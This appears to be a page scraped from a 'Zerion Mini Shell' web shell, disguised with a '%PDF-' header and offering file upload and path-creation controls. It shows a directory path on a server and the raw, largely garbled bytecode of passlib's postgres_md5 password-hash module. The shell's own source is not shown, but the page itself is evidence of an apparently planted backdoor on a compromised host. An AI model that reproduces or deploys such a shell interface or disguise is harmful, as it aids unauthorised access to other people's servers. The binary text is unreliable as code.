%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3.9/site-packages/passlib/handlers/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3.9/site-packages/passlib/handlers/__pycache__/postgres.cpython-39.pyc

a

f�Wc��@stdZddlmZddlZe�e�ZddlmZddl	m
Z
mZmZddl
mmZdgZGdd�dejej�ZdS)zXpasslib.handlers.postgres_md5 - MD5-based algorithm used by Postgres for pg_shadow table�)�md5N)�to_bytes)�
str_to_uascii�unicode�u�postgres_md5c@s.eZdZdZdZed�ZejZ	dZ
dd�ZdS)ra�This class implements the Postgres MD5 Password hash, and follows the :ref:`password-hash-api`.

    It does a single round of hashing, and relies on the username as the salt.

    The :meth:`~passlib.ifc.PasswordHash.hash`, :meth:`~passlib.ifc.PasswordHash.genhash`, and :meth:`~passlib.ifc.PasswordHash.verify` methods all require the
    following additional contextual keywords:

    :type user: str
    :param user: name of postgres user account this password is associated with.
    r� cCs8t|t�r|�d�}t|jddd�}tt||����S)Nzutf-8�user)Zparam)�
isinstancer�encoderr	rr�	hexdigest)�selfZsecretr	�r�=/usr/lib/python3.9/site-packages/passlib/handlers/postgres.py�_calc_checksum+s

zpostgres_md5._calc_checksumN)�__name__�
__module__�__qualname__�__doc__�namerZ_hash_prefix�uhZ	HEX_CHARSZchecksum_charsZ
checksum_sizerrrrrrs
)rZhashlibrZloggingZ	getLoggerr�logZ
passlib.utilsrZpasslib.utils.compatrrrZpasslib.utils.handlersZutils�handlersr�__all__ZHasUserContextZ
StaticHandlerrrrrr�<module>s�

Zerion Mini Shell 1.0